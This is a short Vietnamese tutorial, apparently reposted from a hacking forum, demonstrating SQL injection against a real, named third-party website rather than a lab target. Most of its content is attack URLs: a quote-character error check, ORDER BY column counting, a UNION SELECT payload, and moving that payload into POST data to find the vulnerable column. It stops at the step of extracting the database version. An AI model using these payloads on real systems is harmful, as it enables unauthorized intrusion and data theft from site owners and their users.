SQLi dùng cách Post data

Bước 1: Check lỗi

http://www.hometheater.co.il/modules.php?name=Sale&op=ViewCatg&id_catg=206' 

Giao diện website có thay đổi. Chứng tỏ site bị lỗi.

Bước 2: Tìm số trường cột

http://www.hometheater.co.il/modules.php?name=Sale&op=ViewCatg&id_catg=206 order by 2-- - 

Giao diện website vẫn bình thường

http://www.hometheater.co.il/modules.php?name=Sale&op=ViewCatg&id_catg=206 order by 3-- - 

Giao diện website thay đổi

Số trường cột cần tìm là 2

Bước 3: Xác định vị trí trường cột bị lỗi

http://www.hometheater.co.il/modules.php?name=Sale&op=ViewCatg&id_catg=206 and 0 UNION SELECT 1,2-- - 

Không tìm thấy cột lỗi

Sau khi thử mọi cách bypass mà vẫn chưa tìm ra kết quả nên mình chuyển qua phương pháp Post data bằng cách đem: id_catg=206 and 0 UNION SELECT 1,2-- - xuống như trong hình:

Sau đó nhấn chữ Execute thì chúng ta sẽ có kết quả

Lỗi cột 1

Tiếp theo chúng ta tìm version

Nguồn:  chinhnghia - ceh.vn